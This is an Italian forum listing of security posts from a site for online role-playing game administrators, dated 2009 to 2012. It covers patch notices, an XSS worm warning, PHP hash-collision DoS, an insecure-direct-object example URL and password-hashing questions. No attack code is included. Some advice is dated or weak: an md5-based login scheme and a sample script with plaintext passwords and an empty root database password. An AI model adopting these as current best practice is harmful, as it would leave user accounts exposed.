GDR-online.com Forum

Avviso sonoro missiva a ripetizione]]> di
09/10/2012 0.45.15
Salve a tutti..
Purtroppo oggi ho avuto il mio primo Hackeraggio.
Da 5 giorni sto creando,insieme a una mia amica, il mio gdr by chat.Siamo nuove nel campo ovviamente e non sappiamo come fare con questo guaio.E´ arrivato un´utente,che subito ho visto l´email falsa..non mi ha dato il tempo di bannarlo che mi ha rincretinito i messaggi.
Praticamente mi suona sempre (ma ho tolto la suoneria o tutti gli utenti scappavano ._.) segnalandomi l´arrivo del messaggio e anche se clicco non trovo nulla.E´ come fosse impallato..
Ho resettato alcune pagine ma non riesco a risolvere il problema,potete aiutarmi?;_;

MODERAZIONE: Mettiamo dei titoli al topic chiari e comprensibili! "Aiuto" non lo �!

Vulnerabilit� nel Remote Desktop per server Win]]> di
16/03/2012 12.31.10
Vi rigiro (traducendovela) una mail che ci � arrivata da Leaseweb, presso cui abbiamo alcuni piani dedicati.

Ti abbiamo inviato questo messaggio perch� ospiti uno o pi� dei tuoi server con LeaseWeb e che potrebbero essere muniti di Windows come sistema operativo:

Microsoft ha recentemente rilasciato una patch di sicurezza per una vulnerabilit� nel protocollo del Remote Desktop. La vulnerabilit� consente ad un attaccante l´esecuzione di codice remoto senza richiesta di autenticazione, ottenendo cos� tutti gli ingredienti per un virus di classe Worm.
Il 15 marzo 2012, una prova di questo exploit � stata rilasciata da securitylab.ru. Ci urge premervi nell´applicazione della patch il prima possibile.

Alla seguente pagina potete trovare altre informazioni riguardo questa vulnerabilit� remota e istruzioni su come patchare questo problema.

- http://technet.microsoft.com/en-us/security/bulletin/ms12-020 [LINK ]

La patch pu� essere applicata anche attraverso Windows Update.

APPLIES TO:
- Windows Server 2003
- Windows Server 2003 R2
- Windows Server 2008
- Windows Server 2008 R2
- Windows XP
- Windows Vista
- Windows 7

Raccomandiamo caldamente di cambiare le password di tutti i tuoi account Remote Desktop dopo aver applicato l´aggiornamento di sicurezza. In pi�, se sei connesso dietro un firewall ti consigliamo di restringere le connessioni sulla tua porta RDP e/o di accettare connessioni su porte differenti dalla 3389.

Vulnerabilit� Pannelli Plesk]]> di
07/03/2012 15.00.49
Nei giorni scorsi Parallels ha reso nota la presenza di una grave vulnerabilit� in quasi tutte le versioni del Pannello di controllo Plesk.

Visto che si tratta di un Panel utilizzato da un enorme numero di server, sia Linux che Windows, tale vulnerabilit� � da ritenersi di natura critica, pertanto � opportuno provvedere quanto prima ad installare le patch di sicurezza disponibili per le versioni elencate.

Non aggiungo ulteriori dettagli per evitare abusi, per� invito tutti i gestori a rimediare al pi� presto a questo pericolosissimo bug.

Attacchi Indiretti]]> di

09/02/2012 1.51.52

Volevo rendere noto il fatto che � in circolo questo worm che include automaticamente del codice malevolo, cercando di sfruttare falle XSS, quando un utente prova ad inviare un form in un sito web col fine di inserire iframe nascosti un po ovunque gli utenti bazzichino e di replicarsi cos� sul pc di altre persone.

Agli utenti posso solo consigliare di non fidarsi mai delle estensioni per il browser che promettono miracoli e di eseguire frequenti scansioni complete del sistema.

Per i gestori, consiglio caldamente di prendere misure di sicurezza disabilitando la possibilit� di introdurre html libero nelle bacheche e nei profili personaggio: ricordate che avere una scritta colorata in scheda non vale il rischio a cui esponete i vostri utenti.

Non so quanto sia estesa, magari solo i pc di pochi utenti hanno contratto questa "infezione" ma basta poco per farla diffondere a macchia d�olio.

Quello che segue � il codice malevolo che viene incluso, lo espongo come feedback in caso vogliate creare controlli ad hoc, se volete verificare cosa si trova al link di destinazione � necessario per la vostra sicurezza disabilitare javascript del browser, ma in genere non vi consiglio di provarci.

Ricordo che gli utenti che rilasciano questo tipo di codice non sono consapevoli di ci� che accade e concludo con una frase fatta che ritengo particolarmente opportuna: "meglio prevenire che curare".

Vulnerabilit� PHP (e altri linguaggi)]]> di
13/01/2012 11.24.45
Per i non anglofoni faccio un sunto dell�articolo, per chi volesse leggerlo per intero pu� trovarlo al seguente indirizzo.

http://www.phpclasses.org/blog/post/171-PHP-Vulnerability-May-Halt-Millions-of-Servers.html [LINK ]

PHP come altri linguaggi per il web pare soffrano di una vulnerabilit� non poco problematica, la hash table collision.

In parole povere, senza approfondire le meccaniche di funzionamento interne di PHP, consiste in un overload della richiesta http da inviare al server di modo che vi sia una quantit� impressionante di dati da mandare in pasto a PHP per lo smistamento nelle superglobali _POST, _GET, _COOKIE permettendo cos� ad un numero di richieste di molto inferiore a quelle necessarie per un DDoS di creare un singolo processo PHP sulla macchina che impiega il 99% della CPU rallentando il tutto fino ad un possibile arresto del sistema.

La vulnerabilit� a quanto pare non � nuova e venne presentata la prima volta nel 2003 ma fu tenuta in considerazione (all�epoca) solo dai team di sviluppo di Perl e cruby, PHP e altri linguaggi odierni si trovano quindi a dover affrontare in sostanza il rimaneggiamento di un vecchio problema.

Perch� il problema torna all�attenzione adesso ? PHP nel 2003 non era certamente diffuso come oggi (secondo i ricercatori, dice l�articolo, "77% of the Web servers run PHP").

I danni derivanti dal problema non sono stati del tutto risolti ma sono stati fortemente limitati grazie alle ultime patch applicate nelle release 5.3.9 RC5 e 5.4.0 RC5 di PHP, in sostanza � stato introdotto nel php.ini il valore max_input_vars, di default impostato a 1000, che indica il numero massimo di informazioni da catalogare negli array di sistema ignorando i successivi.

Pi� � impostato ad un valore basso meglio �, e visto che siamo in tema di gdr-online ritengo che impostarlo a non pi� di 100/150 (a seconda dell�applicazione) possa essere sufficiente.

Cosa succede se non si pu� eseguire l�upgrade di una vecchia versione di PHP a causa di una customizzazione che mi farebbe perdere del lavoro fatto ? Se sul vostro server dedicato o vps non potete effettuare l�upgrade di PHP per motivazioni varie potete ricorrere ad un utilissima estensione chiamata Suhosin sviluppata da Stefan Esser nel 2004, uno specialista in materia di sicurezza che gi� all�epoca non prese sottogamba la questione, e che prevede un parametro analogo a quello introdotto recentemente nel php.ini chiamato max_vars [LINK ].

Se siete su un servizio di hosting condiviso ovviamente voi non potete farci nulla in proposito, sta al provider procedere con l�upgrade se non si tutela gi� da se con soluzioni proprietarie (ad esempio, � pratica comune per gli hosting bloccare i siti da cui provengono richieste anomale e potenzialmente pericolose per il server).

Dovrebbe essere ovvio per uno sviluppatore tenersi informato e prendere con seriet� ed urgenza simili problematiche di sicurezza, sfortunatamente (aggiunge l�articolo) non tutti i developers sono bene educati a tal fine e anche developer esperti possono talvolta lasciarsi sfuggire qualche questione: nessuno pu� essere a conoscenza di tutto.

Motivo (con cui concordo appieno :p) per cui mi � sembrato giusto diffondere e riassumere l�articolo ;-)

Tutela dati sensibili]]> di
19/11/2011 14.17.34
Di recente mi � capitata una situazione spiacevole che mi ha fatto riflettere, innanzi tutto sull�ignoranza che dilaga nei gestori di land di gdr, che credono che perch� uno accetta ai sensi di leggi la registrazione, allora hanno il diritto di utilizzare tutto quello che possono prendersi dall�utente, e secondariamente sulla sicurezza che offre un codice opensource come il gdrcd in mano a degli inesperti totali che probabilmente hanno aperto la land perch� hanno litigato altrove.
Nel mio caso specifico � venuto fuori che tutto � in chiaro nel DB, tutti i gestori si leggono ogni cosa in chiaro, partendo dall�ip che si analizzano in modo abbastanza invasivo, usando programmi di localizzazione e targeting zoonale. Ora premesso che come utente posso urtarmi che questi arrivino quasi al mio indirizzo e certamente al mio tipo di contratto con il provider adsl, come persona questo � tremendo, potrei anche essere uno con problemi che si connette da un centro di recupero e non volere che la gente on line dove gioco lo sappia.
Capisco che sto estremizzando, ma questa � una violazione pesante che i gestori di nuova generazione scartano con risposte idiote alla �ma no non capisci, ho ragione io, posso fare quello che voglio con i tuoi dati sensibili�, cosa che fa scadere fin da subito il dialogo e blocca ogni possibili risoluzione di problemi vari ed eventuali.

Venendo al motivo del mio post:

Il gdr cd nudo e crudo � vulnerabile, lo sanno tutti, se i cari gestori hanno tutto in chiaro anche l�amabile hacker ha tutto in chiaro e questo � ancora peggio del fatto che ci guardino loro, anche se gi� questa cosa � scandalosa. Ora non c�� un modo per rendere consapevoli questi gestori allo sbando che aprono land alla spero in dio che il gdr cd nudo e crudo non basta per tutelare i propri utenti? Una sorta di accettazione delle conseguenze, che ci possono tranquillamente essere, in Italia se tocchi gli ip in chiaro scatta l�apocalisse, siamo stringentissimi su questo fronte, quindi � un po� ora che i gestori per caso se ne facciano una ragione, quindi perch� non renderli consapevoli con il pacchetto gdr cd?
Qualcosa del tipo: questo � il gdrcd, senza le dovute precuzioni ed i personali accorgimenti al DB usato e connesso al sito di riferimento si � molto vulnerabili e i dati degli utenti non sono sicuri e tu gestore che firmi e paghi il dominio del sito rischi tot.

Seconda cosa che mi viene da chiedere, oltre l�ovvia segnalazione tramite il canonico form alla polizia postale/comunicazioni, c�� un mezzo pi� veloce. Premesso che il form funziona, ma richiede tot settimane anche solo la lettura, sarebbe bello non so un mezzo un pochino pi� veloce. Esiste?

Grazie

Utente senza indirizzo ip]]> di
04/11/2011 12.27.06
Ciao a tutti.
Vi scrivo perch� qualche giorno fa nel mio gioco di ruolo play by chat abbiamo "beccato" un utente iscritto senza indirizzo ip. Sono abbastanza ignorante in materia,ma credo che ci� possa accadere solo se si inserisce un utente dal database no? Quindi significa che qualcuno sia riuscito ad entrare nel mio database e creare questo pg. Ora,cambio la password ogni settimana,anche perch� abbiamo ricevuto delle "minacce" di hakeraggio,minacce che purtroppo prendo sul serio. Cosa posso fare?

GDR Play by Chat - Errori comuni]]> di
06/10/2011 20.10.36
Un saluto esteso agli utenti ed in particolare a Gianluca (admin di questo sito).

Dopo diversi anni, mi fa piacere constatare che il virus dei gdr si sia propagato cos� tanto.

Avrei molte parole da dire dopo parecchio tempo di lontananza, ma racchiudo tutto in questo: quando passeranno 10 o pi� anni e riguarderete [mi auguro che sussista questo sito per altri parecchi anni ;) ] i vostri vecchi progetti ritornando qu�, capirete cosa provo e ho provato in questi giorni.

Bando alle ciance e passiamo al sodo. Questo topic vuole essere utile non chiacchiere, o meglio chiacchiere utili.

Premesso che quanto sto per dirvi l´ho notato sulle ambientazioni che hanno fatto uso del codice "Citt� Virtuale GPL", ci� non toglie che possano essere indicazioni valide anche per altri.

Solitamente in un game abbiamo:
1) Fase di login e riconoscimento utente
2) Fase di controllo autorizzazion dell´utente (user, master, admin..)

Queste due fasi permettono un controllo sulle azioni dell´utente
nell´ambientazione virtuale da voi realizzata.

Di solito quali sono le aree soggette a controllo ?
A) Area per messaggistica interna
B) Area chat
C) Area forum interno (che diversi chiamano "bacheca")

Quali errori comuni si commettono ?
Parlo per esperienza, perch� per primo ho commesso questi errori :-).

Prendiamo come esempio l´area relativa alla messaggistica interna.

[A] Messaggistica interna:
I messaggi solitamente sono composti da:
* mittente
* destinatario
* data invio
* data ricezione [notifica] [opzionale]
* oggetto
* testo del messaggio

Quale potrebbe essere la logica di controllo autorizzazione?

Spedizione messaggio: l´identificativo del mittente dovrebbe essere ricavato preferibilmente dalla "SESSIONE" e non da un campo hidden messo nel codice html del form.

Ricezione-lettura del messaggio: deve essere sempre presente la verifica che il "destinatario" combaci con il nome dell´utente in "SESSIONE"

Cancellazione: per la cancellazione, l´autorizzazione dovrebbe essere concessa solamente al destinatario del messaggio.
Opzionalmente si pu� permettere che venga cancellata anche dal mittente stesso se il destinatario non ha ancora letto il messaggio, prevedendo un flag di lettura.
Questo perch� io mittente potrei sbagliarmi ad iniviare un messaggio.

Quali errori comuni si commettono:
1) Mancanza del controllo sul mittente e sul destinatario.

Avendo una sessione aperta in gioco, diventa molto banale trovare l´url relativo alla funzione di lettura:

http://www.gioco-virtuale.zzz/messaggi/leggi.php?idmessaggio=22

Incrementando o diminuendo tale numero, che succede se mancano controlli ? Ho la possibilit� di leggere tutti i messaggi privati.

2) Controlli presenti ma in jscript/ajax con identificativi utente passati via POST o nel peggior caso GET.

Su POST e GET penso non debba spiegarvi la differenza, ci sono molti validi ausili di studio per ogni tipologia di linguaggio scelto.

Riguardo i controlli fatti su javascript, essendo leggibili in chiaro su html � facile eluderli andando a leggere come viene composta la spedizione dei dati del form.

Riguardo i dati identificativi inseriti come campi hidden [esempio:
I controlli in ajax non sono l´ultimo grido innovativo.
Ajax, o meglio l´utilizzo dell´oggetto XMLHTMLHttpRequest, esiste dal 1999. Segue gli stessi commenti detti riguardo javascript.
Se posso consigliare, non abbondate in ajax.
Troppe domande "asincrone" [chiedo venia a chi non comprende] non fanno che appesantire il server che ospita il vostro sito.
Se a quelle richieste sono associate "query" su db come "MySql" potrete notare come le prestazioni peggiorino, ed in caso di hosting free o a basso costo, avrete molti...molti disservizi.

Che fare:
Poche regole ma semplici:
1) I controlli vanno "sempre fatti" in codice. Se avete sviluppato in PHP per esempio, i controlli andranno sempre e comunque fatti nel codice racchiuso sul file PHP.

2) I parametri identificativi � preferibile vengano sempre gestiti, recuperati da oggetti "SESSIONE" e non come dati ottenuti da form com POST o GET.

Si potrebbe dilungare la conversazione anche sulle sessioni e di come vengano gestite da un server. Ma lo spazio richiesto ad argomentare sarebbe ulteriore e forse richiede qualche conoscenza in pi� che non � alla portata di tutti [non tutti sono programmatori e questo lo dimentico spesso].

Sappiate per� che, se il server non � ben configurato, facilmente si potrebbe conoscere il valore di una sessione.

Ma rammentate, se fate un buon controllo sull´input sempre e comunque da codice, potrete togliervi molte magagne :-).

Tanto per dare un suggerimento: http://it.wikipedia.org/wiki/Cross-site_scripting (trovate anche un semplice codice php utile per prevenirlo)

Detto questo, mi scuso se il tutto risulti un p� caotico, o se magari per diversi erano gi� cose conosciute.

Ma rammentate, se siete giovani, che l´esperienza che acquisite nel gestire un ambiente virtuale e programmandolo, vi ritorner� utile se in futuro sarete webmaster, webdeveloper etc.

Vi permette anche di capire quanto lavoro possa esserci dietro a siti istituzionali, dove la presenza di dati sensibili deve essere tutelata.

Per gli errori .... io continuo a farne :-), di meno, ma ne faccio.
:-) prima o poi crescer�.

Non nascondo il desiderio che qualcuno rilasci un codice open source e free per tutti anche un´ambientazione Trek :-)
E spero qualche temerario inizi a cimentarsi con l´HTML 5 :-).

Ho un sogno nel cassetto di riprendere i vecchi codici, riaggiornali con l´esperienza attuale, ma il tempo viaggia contro purtroppo.
Se riuscir� li vedrete rilasciati nella sezione GDR OPEN SOURCE [sempre se Gianluca mi concede un p� di spazio]

Ringrazio gli amministratori di:
* http://project-galaxy.com
* http://www.dark-frontiers.net
* http://www.starfleetheadquarter.net

per il tempo dedicatomi e a tutti quelli che hanno fatto un´ottimo uso, ancora stento a crederci, del codice rilasciato da Traimo e me.

Grazie infinite :-)

Prospero

Creative Commons - Basta davvero cos� poco?]]> di
14/04/2011 19.16.00

Salve gente.

Vi scrivo per rivolgervi un quesito:

Basta prendere la licenza sul sito Creative Commons per salvaguardare la propria opera, senza che nessuno se ne appropri indebitamente o la modifichi liberamente?

Vi ringrazio anticipatamente.

Problema doppi / IP]]> di
30/03/2011 22.43.25
Ciao ragazzi, la mia richiesta non � tanto di programmazione quanto di logica....

Vi chiedo.... � possibile secondo bloccare veramente un pg?
Se al momento � loggato col 86.58.58.128 per esempio.Lo esilio, gli blocco l´accesso all´ip..... lui riavvia il router e pu� rientrare....

qualcuno ha risolto questo problema? � risolvibile ?

Sicurezza basilare sito dinamico]]> di
20/10/2010 8.54.58
Salve :-)
mi chiedeveo se qualcuno avesse il tempo e si prendesse la briga di spiegare (qui) semplicemente quali posson esser i problemi di sicurezza su un sito dinamico, tipo un gdr ad esempio, e di un qualsiasi sito che usi php e sql a livello amatoriale o open source.

Dove potrebbero attaccarci e cosa potrebeb accadere con tale attacco?
Che parte del codice e´ sensibile a questo e ci son delle misure alla portata di tutti per evitarli?

Se abbiamo buone risposte possiam evidenziare il post e metterlo in alto sulla sezione :-)

Grazie della collaborazione.

Criptazione Password]]> di
06/06/2010 11.50.20
E´ la prima volta che immetto un mio topic in questo forum, ma il problema riguarda uno dei punti del progetto legalit� e sapete, fin quando il problema riguarda un qualcosa tipo bacheche, scheda pannelli e via discorrendo provo a risolvere e bene o male dopo 2 settimane risolvo (non sono un programmatore ma ho capito abbastanza della versione di gdr-cd extreme su cui sto lavorando per un gdr mio, anche perch� mi piace molto imparare, soprattutto in fatto di programmazione), partendo quindi dal fatto che non sono programmatore ma improvvisato, ho questo problema: ho inserito la patch per la criptazione di password, attuo la registrazione di un pg a caso, arriva l´email su quella di registrazione del pg, vado a riportare il link sulla barra di caricamento e, magia mi riporta ad un motore di ricerca perch� non trova collegamento alcuno. In pi� ho inserito la pagina php per criptare le password dei personaggi esistenti, cambiando il valore in tabella personaggio del database da 0 a 1 al riguardo della riga "Attivo"...ma niente, non funziona nessun pg. Essendo un problema importante, onestamente non so da dove prendere il principio. Mi potete supportare?

Forum sicurezza e moderazione]]> di
01/05/2010 15.31.19
Non sono qui per criticare o cosa ma semplicemente per l´ultra restrittivit� sul regolamento circa la rivelazione degli exploit, la quale non mi sembra affatto indice di una piu´ utile collaborazione per il mondo open che germoglia in questo portale con vari progetti.

E´ come se su php.net di punto in bianco non postassero piu´ i bug riscontrati per paranoia, cos� come per ubuntu o per altre famose applicazioni, spesso anche proprietarie.

Posso capire che se mi vien postato uno script da "fine dei giochi" tali informazioni vadano tutelate, ma addirittura censurare un alert test per xss lo trovo insensato ed eccessivamente restrittivo (in un post di dyrr mi pare nel messaggio di albus petulantes etc etc etc) in quanto di per s� quello non � codice dannoso ne risulta essere una guida passo passo per un maleintenzionato che fin dal principio non sapeva come fare.

La proposta quindi � chiudere il forum sicurezza agli utenti non registrati e di conseguenza loggati sul portale, cos� da avere sicuramente maggior controllo in merito alla visualizzazione degli exploit e diminuire le restrizioni moderative che, al livello attuale, sono insensatamente elevate ed anzi non fanno che creare solo piu´ danni rendendo difficoltosa la comunicazione dei bug e delle risoluzioni.

Altrimenti, se proprio non vuole essere presa neanche piu´ lontanamente in considerazione questa ipotesi, suggerirei l´apertura di un forum dedicato esterno a gdr-online.com.

...ma il copia incolla della sorgente?]]> di
15/03/2010 18.09.40
Ciao a tutti,
leggendo gli ultimi due post di questa sezione, una domanda mi � sorta tra tutte le problematiche annesse ai sistemi di sicurezza:
"Ma non � illegale se uno ad esempio fa il copia incolla della sorgente di un GDR, nel nostro caso, anche se tipo il codice � di un open source?
Mi spiego meglio...copiare il codice originale senza un permesso risulta essere illegale perch� sarebbe uguale a rubare...
ma un GDR che si basa su un OS (ma che magari � stato stravolto dal punto di vista dei layout...dei collegamenti...tipo chess� non utilizza pi� i frame ma � riscritto in css, pur avendo come base un os...oppure copiare uno script et similia...) da cui si copia la sorgente non � allo stesso modo illegale? Cio� perch� l�ho constatato sul GDR che sto facendo io...basta cliccare con il tasto destro del mouse e alla voce visualizza sorgente pagina ti esce tutto il codice della pagina.
Mi togliete questo dubbio?
Grazie

gdr vulnerabili]]> di
21/02/2010 16.19.28
Ciao! da questa mattina ho visitato due citt� discretamente conosciute e su entrambe ho trovato gravi vulnerabilit�.
Sono gi� state segnalate ai rispettivi gestori.
Ma... i programmatori di queste land quanto tempo dedicano alla gestione della sicurezza delle stesse?!?

Criptare le password - md5 non basta]]> di
20/01/2010 18.15.40
Apro questo topic perch� ci tengo ad informare i "colleghi" responsabili dei vari gdr online che la tanto pubblicizzata funzione md5 non � sufficiente, con la sua criptazione, a metterci al riparo da malintenzionati.
Md5 � un algoritmo, per dirla breve, che converte una qualunque stringa di testo (la password) in 32 caratteri esadecimali.
Teoricamente viene detto che � molto raro che si possa risalire alla password originale, rubando questo codice criptato, perch� il numero di tentativi necessari sarebbe troppo alto (nell�ordine dei milioni).
Quando un utente fa il login la pagina invia il codice criptato invece della password "cos� com��" e la confronta con la password memorizzata nel database che appunto dev�essere registrata in forma criptata.

Ma se tramite uno sniffer un malintenzionato al momento del login di un tizio gli "intercetta" la password criptata pu� comunque utilizzare il dato per loggarsi al posto del malcapitato.
O, riuscendo ad ottenere una password criptata, tramite progetti e programmi facilmente reperibili sul web come raimbow project � probabile che il malintenzionato riesca addirittura a risalire dalla criptazione md5 alla parola originaria.

Come ci possiamo difendere ulteriormente allora?

Io ho avuto un�idea possibile. ALtri pi� titolati di me in fatto di programmazione sicuramente potranno illustrare metodi meno grezzi, ma ritengo che gi� la mia idea fornisca una relativa sicurezza.

Tramite javascript, al momento del login dell�utente, si pu� far generare dal server una parola casuale che funger� da chiave di criptazione con cui verr� ulteriormente criptata la stringa gi� codificata con md5.
Ci� che verr� inviato dalla nostra pagina sar� quindi una password criptata con md5, ulteriormente criptata con una chiave casuale e temporanea, che il server confronter� con la password md5-coded registrata nel database ed ulteriormente criptata con la chiave casuale e temporanea.

Se un malintenzionato la "sniffa" e invia questa combinazione di password+coding md5+criptazione casuale essa non sar� pi� valida in quanto la chiave casuale ogni volta � diversa.
E se anche riuscisse a rubare dal nostro database una password criptata con md5, essa sarebbe molto spesso inutile in quanto � infruttuoso saltare fraduolentemente il consueto form di login, visto che � l�unico metodo perch� avvenga il doppio coding (md5 e chiave casuale).

Ed anche la velocit� di login non ne risente, in quanto md5 � un hashing ultrarapido appositamente studiato per gli accessi via password. E la chiave casuale garantisce un�ottima sicurezza anche se scegliamo sia costituita da soli 4 caratteri alfanumerici.

Dubbio su MySqli prepared statements e sicurezza]]> di

07/01/2010 22.20.34

Ho iniziato a leggermi un p� la parte dei prepared statements in PHP grazie all�estensione MySqli per via della maggiore sicurezza e performance in generale di questi e la mia domanda � questa:

Quanto sono a prove di SQL Injection? Nel senso una query tipo in questo script di prova:


	$user_p = (isset($_POST[�user_p�]))? $_POST[�user_p�] : "";
	$password_p = (isset($_POST[�password_p�]))? $_POST[�password_p�] : "";

	if (($user_p != "") && ($password_p != "")) {

		//$password_p = hash(sha512, $password_p);

		$db = new mysqli("localhost", "root", "", "db_di_prova");
		$stmt = $db -> prepare("Select user, password FROM user WHERE user = ? AND password = ? LIMIT 0,1");
		$stmt -> bind_param("ss", $user_p, $password_p);
		$stmt -> execute();
		$stmt->store_result();
		if (($stmt->num_rows) == 0) {
			echo "Utente non riconosciuto (01)";
		} else {
			$stmt->bind_result($user, $password);
			$stmt->fetch(); 
			if (($user == $user_p) && ($password == $password_p)) {
				echo "OK";
			} else {
				echo "Utente non riconosciuto (02)";			
			}
		}		
		$stmt->free_result();
		$stmt->close();
		$db->close();
		
	}
?>

In teoria il caso che ho segnato con "utente non riconosciuto (02)" dovrebbe essere possibile solo in caso di una sql injection e mi chiedevo quanto l�eseguire la query usando i prepared statements possa sufficente da sola a prevenire quel tipo di attacco?

P.S.: ho messo come commento la riga di conversione della pass solo per comodit� di fare alcune prove di manipolazione della query.

il tutto ipotizzato su un server con magic quotes gpc settato su off.

Mi piacerebbe avere l�opinione di qualcuno che ha gia esperienza conq uesto metodo per le query riguardo alla sicurezza di queste.

Grazie in anticipo

Recupero Passw]]> di
03/11/2009 14.41.09
Progetto legalit� " Recupero Password "(presenza della criptazione della password e/o delle procedure di recupero da parte dell´utente).
Bene vorrei affrontare questa problematica, sono di una banale idea, il classico sistema di recupero quanto pu� essere sicuro? Non � preferibile inserire una parola chiave?
L´utente invier� un email alla Gestione, con la parola chiave inserita al momento dell´iscrizione.

Coff.. A voi..

Protezione di una chat [ajax / php / mysql]]]> di

14/10/2009 0.28.42

Ciao, ho alcuni dubbi sul come proteggere al meglio la chat che sto realizzando. Ero partito con l�idea di impementare una chat "old-style", poi mi sono incuriosito sui thread che parlano delle possibili implementazioni di ajax, e ho provato a fare quanto segue.

Premetto che ho una formazione da autodidatta, cominciata con turbo pascal, transitata brevemente in delphi, piccola carrellata su c++ e poi l�approdo a php, saltando del tutto o quasi javascript (allergia di pelle?). Peggio, ho una mentalit� tipicamente da programmazione strutturata, la OOP mi causa malditesta gi� al classico esercizio dell�ascensore... :lol:

Quello che ho fatto forse pu� sembrare molto raffazonato, un po� come un carro funebre ottocentesco dotato di compressore e dipinto a vernice rossa fosforescente (citazione da Stephen King).

Il sistema chat si compone di 5 file:

chatpub.php : � solo il frameset (lo so, sono deprecabili e deprecati, mi cosparger� il capo di cenere) che contiene le due pagine legate all�input e all�output.
Riceve l�id della locazione con metodo GET (filtrato con intval() per evitare il get di stringhe impostate manualmente) e lo scrive anche in una variabile di sessione; al caricamento (e all�eventuale refresh forzato) imposta a zero una variabile di sessione lastchat (che mi serve dopo, per verificare se l�utente � appena entrato in chat o se ci stava gi�) e una variabile di sessione ingressochat impostata con la funzione time() di php.

chatpub_input.php: � il frame di inserimento del testo. Riceve l�ID della locazione dalla sessione, ed invia a s� stesso con metodo POST. In base alla presenza o meno di caratteri speciali (per le azioni, le stringhe di masterizzazione o moderazione, sussurri, etc)
classifica il tipo di messaggio per tipo e lo salva nel database. La logica � quasi identica a quella delle chat di GDR-CD extreme.

chatpub_view.php: � il frame visibile in cui viene mostrato l�output della chat. La pagina di per s� non si refresha. Qui interviene ajax, che tramite un js incluso avvia una funzione al primo caricamento della pagina e aggiorna i contenuti del DIV principale, identificato tramite il parametro ID="div_main".

chatajax.js: � il "motore" dell�inserimento dei contenuti nel DIV principale della chatbub_view.php; la funzione effettua una chiamata XMLHttpRequest all�ultimo file della cinquina, che va a cercare nel database secondo l�ID della locazione (in sessione) e le variabili lastchat e ingressochat (anche quest in sessione). Saltando i dettagli, richiama un contenuto col sistema XmlHttp.responseText e aggiunge il contenuto in coda al contenuto gi� presente nel DIV con la funzione .innerHTML. Poi si auto timerizza per un nuovo ciclo dopo 2 secondi e posiziona la barra di scrolling in fondo.

chatpub_xmlhttp.php: � il "motore" nascosto, che in base ai parametri di cui sopra presenti in sessione (e altri, tipo l�id del personaggio, etc) compone il DIV da mostrare alla pagina richiedente sotto forma di normale codice html, trattato come se fosse un file di testo dal metrodo .responseText
A seconda che sia il primo ingresso in chat, la pagina genera l�html necessario a visualizzare le azioni degli ultimi 10 minuti, se presenti, oppure solo le azioni inviate dopo l�ultima gi� visualizzata in precedenza.
Terminato l�output che viene inviato a chatpub_view.php, la pagina aggiorna in sessione la variabile lastchat.

I tipico output di chatpub_xmlhttp.php potrebbe somigliare a questo (supponendo che la riga da mostrare sia identificata come una stringa di normalissimo parlato):

  <.. codice simboletti vari e nome personaggio>: toh, guarda quanta gnocca c�� in taverna stasera...

Questa roba viene presa da chatpub_view.php e aggiunta dentro al div principale. Il parametro "class" del div ricevuto dalla pagina di output ovviamente varia a seconda del tipo di contenuto da mostrare (azione, parlato, azioni speciali, moderazione, game masters, etc) e le relative propriet� grafiche sono definite in un foglio CSS a cui chatpub_view.php � collegato.

...

Ora, mi chiedevo quali possono essere i modi migliori di proteggere una chat costruita secondo questa logica.

chatpub_input.php, quando riceve i dati da s� stesso, tratta gi� il testo inviato (POST) con htmlspecialchars(). Prima di passare il testo alla query di inserimento nel database della chat, il testo subisce una ulteriore passata in una funzione che converte gli apici singoli (apostrofi) in &_acute e gli apici doppi (virgolette) in &_quot, oltre a strippare i vari tags eventualmente residui.
(Gli underscore qua sopra sono fittizi, li ho messi se no venivano visualizzati i caratteri corrispondenti).

Al momento dell�output, in teoria, chatpub_xmlhttp.php dovrebbe poter prendere il testo cos� com�� salvato nel database e passarlo a chatpub_view.php per la visualizzazione all�utente finale.

Ho fatto qualche prova sia tentando di inviare tag html o di script, sia cercando di inviare query mysql o pezzi di query, col risultato che mi sono sempre trovato, almeno finora, le "query" e i tag html piazzati in chiaro in chat (quindi non trattati come tali).

Domanda... cosa potrebbe andare storto? Come porvi rimedio?
Leggendo i thread sugli XSS suppongo che quanto sopra possa non essere sufficiente, ma non mi � del tutto chiaro a quali vulnerabilit� espone l´uso di htmlspecialchars() e quando sia preferibile usare invece htmlentities().

ps: faccio presente che ogni file "sensibile" include un controllo sulla sessione, per verificare lo stato del login e la titolarit� dell�account in uso; un ulteriore JS incluso si occupa di verificare che la finestra contenitore sia la stessa in cui � lanciato il motore della land al momento del login (il js che si occupa di questo � simile a quello utilizzato da eXtremelot).
Avevo in mente di implementare anche un ulteriore controllo sulla provenienza degli input, usando le variabili $_SERVER[�PHP_SELF�] e $_SERVER[�HTTP_REFERER�] dove possibile, anche se sull�uso dell�ultima ho qualche dubbio.

Domanda su GDRCD Avatar Flash]]> di
08/10/2009 0.12.32
Domandina sull�ultimo pacchetto inserito nella sezione di GDRCD... ossia la possibilit� di inserire file .swf nella scheda avatar.

Non � un po� rischioso?

Non conosco a fondo ActionScript e quale tipo di operazioni consenta sulla pagina da cui � richiamata l�animazione ma... aldil� delle operazioni sulla pagina da cui � richiamata, l�animazione pu� davvero contenere di tutto, rimandare a link esterni, richiamare a sua volta altre applicazioni flash.

E se non ricordo male pu� accedere direttamente agli eventuali frame richiamandoli direttamente tramite ID, controllandone quindi i contenuti.

Chiaro che il danno potenziale peggiore, mi sembra a carico dell�utente finale, quello che va a vedersi la scheda avatar, pi� che per i gestori..

Ma con tutto quello che sta scritto qui in materia, non � un po� una follia aprire le porte della propria land a tutto ci� solo per avere un avatar animato e con eventuale sfondo audio diverso dal "solito" midi?

Al pratico: vulnerabilit� degli account]]> di
07/10/2009 16.19.59
Mi � venuto in mente di fare una scaletta di punti potenzialmente problematici nella gestione di un qualsiasi GDR online, a prescindere dal pacchetto usato (uno di quelli disponibili qui o autoprodotto) per esaminare possibili soluzioni.

Conosco PHP+MySQL, quindi laddove provo a individuare soluzioni tecniche mi rifaccio a questi.

Comincio con un argomento che � tra quelli pi� sensibili, data l�insorgenza frequente di "furti di account". Prego chiunque abbia esperienza in materia di integrare, suggerire, postare (se ne ha voglia) anche soluzioni tecniche adottate.

1) SICUREZZA DELL�ACCOUNT (USERNAME, PASSWORD...)
E� un argomento molto critico, soprattutto perch� riguarda anche l�utente "benintenzionato" ma distratto o facilone (es. il tipico utente che tiene la password annotata su un postit attaccato al monitor in ufficio, o che sceglie come password il nome della squadra di calcio preferita e poi sbandiera i suoi gusti calcistici in bacheca) che potrebbe esporsi a sua insaputa, qualunque misura tecnica noi possiamo prendere, a rischi di sottrazione dell�account.

